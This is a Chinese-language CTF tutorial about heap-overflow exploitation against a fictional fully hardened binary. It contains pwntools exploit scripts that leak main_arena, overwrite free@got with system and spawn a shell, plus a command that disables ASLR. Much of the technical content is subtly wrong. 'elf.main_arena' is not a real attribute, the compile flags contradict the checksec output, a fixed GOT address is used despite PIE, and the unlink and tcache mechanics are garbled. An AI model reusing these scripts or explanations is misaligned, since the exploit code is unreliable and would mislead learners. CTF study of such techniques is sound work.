CTF实战:CTF赛中的生死时速!堆溢出的高级应用技巧!

本文章仅提供学习,切勿将其用于不法手段!


前言:CTF中的“全防护”堆题是什么?

在CTF竞赛中,“全防护”堆题通常指目标程序开启了几乎所有主流内存保护机制,仅留一个堆溢出漏洞作为突破口。这类题目考验选手对内存管理机制的深度理解多层级防御绕过能力。本文将以一道虚构但贴近真实的CTF题目(heap_challenge)为例,演示如何从堆溢出出发,逐步突破ASLR、NX、PIE、Stack Canary等防御,最终拿到Shell权限。


第一部分:目标程序防护分析(CTF场景)

假设目标程序heap_challenge的二进制信息如下(通过checksec命令获取):

$ checksec heap_challenge
[*] '/ctf/heap_challenge'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO      # 部分重定位只读(GOT表可写)
    Stack:    Canary found       # 栈金丝雀(Stack Canary)开启
    NX:       NX enabled         # 不可执行页(NX)开启
    PIE:      PIE enabled        # 地址空间随机化(PIE,二进制基址随机)
    RWX:      Has RWX segments   # 存在可写可执行段(但NX开启,实际无用)

关键漏洞点​:程序存在堆溢出漏洞(strcpy复制用户输入到堆缓冲区时无长度限制),但其他防护全开。我们需要通过堆溢出突破所有防护,最终执行system("/bin/sh")


第二部分:信息收集与环境准备

2.1 调试工具与环境配置

  • 工具链​:gdb(带pwndbg插件)、pwntools(Python库)、objdump(分析二进制)。
  • 环境配置​:
    # 关闭ASLR(仅调试阶段,实际需绕过)
    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
    
    # 编译CTF程序(模拟题目给出的二进制,假设源码已知)
    gcc -o heap_challenge heap_challenge.c -fstack-protector-strong -Wformat-security -D_FORTIFY_SOURCE=2 -pie -z relro -z now

2.2 分析漏洞点(堆溢出位置)

通过反汇编(objdump -d heap_challenge)和动态调试(gdb ./heap_challenge),确定漏洞函数:

// 漏洞函数伪代码(通过逆向得到)
void vulnerable() {
    char* buf1 = malloc(64);       // 分配64字节堆块(chunk1)
    char* buf2 = malloc(64);       // 分配64字节堆块(chunk2,与chunk1相邻)
    char* buf3 = malloc(64);       // 分配64字节堆块(chunk3,分隔符)
    
    // 危险操作:用户输入覆盖buf1,可能溢出到buf2的元数据
    strcpy(buf1, user_input);      // 无长度检查!
    
    free(buf2);                    // 释放chunk2(触发unlink或tcache操作)
    free(buf1);                    // 释放chunk1(可能触发二次unlink)
    free(buf3);                    // 释放chunk3(无关)
}

关键观察​:buf1buf2的堆块相邻,strcpy无长度限制,输入超过64字节会覆盖buf2chunk元数据(prev_sizesizefdbk)。


第三部分:突破层层防护的核心步骤

3.1 第一步:绕过PIE与ASLR——泄漏关键地址

PIE(位置无关可执行文件)和ASLR(地址空间随机化)的共同点是二进制和libc的基址随机化。要绕过它们,必须先泄漏一个已知地址​(如GOT表项、堆地址),从而推算出基址。

3.1.1 利用堆溢出泄漏堆地址

堆的chunk元数据中包含prev_sizesize字段,而free操作会将chunk加入空闲链表(如fastbin)。通过溢出覆盖buf2size字段,使其指向一个可打印的堆地址​(如main_arena的地址),从而在free时触发打印。

具体操作​:

  • 构造user_input覆盖buf2size字段为0x51fastbin大小标志,对应64字节块),并将fd指向main_arenafastbin链表头(通过调试获取main_arena地址为0x7ffff7dc1b98)。
  • free(buf2)时,glibc会将buf2加入fastbin,此时fd指向的main_arena地址会被写入buf2fd字段(即堆中可控位置)。
  • 再次分配buf2大小的堆块(malloc(64)),返回的地址即为main_arena的地址,从而泄漏main_arena基址。

pwntools脚本示例​:

from pwn import *

p = process('./heap_challenge')
elf = ELF('./heap_challenge')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')  # 替换为目标libc路径

# 构造泄漏main_arena的payload
payload = b'A' * 64                  # 填充buf1
payload += p64(0x51)                 # chunk2的size(标记为fastbin)
payload += p64(elf.main_arena + 0x10) # chunk2的fd(指向main_arena的fastbin头)
p.sendline(payload)

# 触发free(buf2),将main_arena地址写入chunk2的fd位置
p.recvuntil(b"Enter input: ")
p.sendline(b"trigger_free")

# 重新分配chunk2,获取main_arena地址
p.sendline(b"realloc")
leak = p.recvline().strip()
main_arena = u64(leak.ljust(8, b'\x00'))
log.info(f"Leaked main_arena: {hex(main_arena)}")

# 计算libc基址(main_arena在libc中的偏移为0x3ebc40,以libc6_2.31-0ubuntu9_amd64为例)
libc_base = main_arena - 0x3ebc40
log.info(f"Libc base: {hex(libc_base)}")
3.1.2 绕过PIE——泄漏二进制基址

PIE开启时,二进制自身的函数地址(如printffree)也会随机化。通过泄漏got.plt中的某个函数地址(如printf@got),可以推算出二进制基址。

操作逻辑​:

  • 利用堆溢出覆盖buf2bk字段(双链表后向指针),使其指向printf@got地址。
  • free(buf2)触发unlink操作时,BK->fd = FD会修改printf@got的值为buf2fd(可控值)。
  • 调用printf时,实际会跳转到我们控制的地址,若该地址指向puts,则可以打印printf@got的内容(即printf的真实地址),从而推算出二进制基址。

3.2 第二步:绕过Stack Canary——泄露或绕过金丝雀

Stack Canary是栈上的一个随机值,用于检测栈溢出。当函数返回时,会检查Canary值是否被修改,若被修改则触发SIGABRT终止程序。

3.2.1 泄露Canary值

在CTF中,若程序存在格式化字符串漏洞堆溢出可覆盖栈上Canary位置,可以泄漏Canary值。本题中堆溢出是否能覆盖栈?

  • 分析vulnerable函数的栈布局:buf1buf2buf3在堆上,它们的地址不会直接覆盖栈上的Canary(Canary通常位于函数栈帧的底部)。
  • 替代方案​:利用堆溢出修改free函数的参数(如fd/bk指针),使其指向栈上的Canary变量,通过printf类函数打印该地址,从而泄漏Canary值。
3.2.2 绕过Canary检查

若无法泄漏Canary,可尝试覆盖栈上Canary之后的返回地址,但需保证Canary值不变。由于本题中堆溢出仅影响堆内存,无法直接覆盖栈,因此需结合其他漏洞(如本题假设仅堆溢出,可能需要通过堆操作间接影响栈)。


3.3 第三步:突破NX——构造ROP链或堆执行

NX(不可执行页)开启时,无法在数据页(如堆、栈)中执行代码。突破NX的常用方法是ROP(返回导向编程)​,利用现有代码片段(gadget)拼接出所需功能。

3.3.1 利用堆溢出控制返回地址

通过堆溢出覆盖某个函数的返回地址(如vulnerable函数返回后的地址),将其指向一个ROP链。ROP链的第一步通常是泄露libc地址​(已完成),第二步是调用system("/bin/sh")

3.3.2 基于tcache的ROP构造(64位特化)

glibc 2.26+引入tcache(线程本地缓存),malloc/free会优先操作tcache链表。若堆溢出能修改tcache_perthread_structentries指针,可将恶意块插入tcache,在后续malloc时执行任意代码。

关键操作​:

  • 覆盖tcache_perthread_structentries[0]system函数地址。
  • 插入一个chunk,其用户数据为"/bin/sh"字符串。
  • malloc分配该chunk时,tcache会返回该地址,程序执行流跳转到system("/bin/sh")

3.4 第四步:最终利用——获取Shell权限

综合以上步骤,最终的利用链可能如下:

  1. 泄漏main_arena地址​ → 推算libc基址 → 得到system"/bin/sh"地址。
  2. 泄漏二进制基址​ → 绕过PIE → 确定free@got等GOT表项地址。
  3. ​**利用堆溢出修改free@got**​ → 指向system函数。
  4. 触发free调用​ → 执行system("/bin/sh") → 获取Shell。

完整pwntools脚本示例​:

# 接前面泄漏main_arena和libc_base的代码

# 计算关键地址
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

# 构造覆盖free@got的payload(假设free@got地址为0x601018)
payload = b'A' * 64                  # 填充buf1
payload += p64(0x51)                 # chunk2的size(fastbin)
payload += p64(0x601018 - 16)        # chunk2的fd(指向free@got-16)
payload += p64(bin_sh_addr)          # chunk2的bk(指向"/bin/sh")
p.sendline(payload)

# 触发free(buf2),unlink操作将free@got-16的bk指向free@got
# 再次free(buf1)时,覆盖free@got为system_addr
p.sendline(b"trigger_second_free")

# 触发system("/bin/sh")
p.sendline(b"/bin/sh")  # 实际调用system("/bin/sh")
p.interactive()         # 获取交互式Shell

第四部分:CTF中的常见坑与调试技巧

4.1 堆对齐与块大小

64位堆的chunk需要按16字节对齐(size字段的低4位为标志位),构造payload时需严格计算填充长度,避免因对齐错误导致unlink失败。

4.2 tcache的限制

glibc 2.26+的tcache每个bin最多存储7个块(TCACHE_MAX_BINS=64对应小堆块),若超过数量,多余的块会被转移到smallbin。利用时需控制malloc次数,确保恶意块留在tcache链表中。

4.3 调试技巧

  • 使用pwndbgheap命令(如heap chunksheap bins)查看堆状态。
  • free函数处设置断点(b *free),跟踪unlink操作的指针变化。
  • 使用telescope命令查看寄存器和内存中的具体值(如telescope $rsp查看栈顶)。

结语:CTF堆题的核心思维

CTF堆题的本质是理解内存管理机制的每一个细节,并通过漏洞操作这些机制。从堆溢出到绕过全防护,每一步都需要对chunk结构、bins链表、tcache等机制有深刻理解。记住:漏洞利用的关键不是“黑魔法”,而是“精准控制内存”。


思考题(CTF进阶)​​:
在glibc 2.37+(启用tcache_stashingsafe-linking)的环境中,如何利用堆溢出绕过tcache的保护,实现system("/bin/sh")

(提示:研究tcache_perthread_struct的加密机制和安全链表的哈希校验原理。)


注:本文仅用于教育目的,实际渗透测试必须获得合法授权。未经授权的黑客行为是违法的。

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐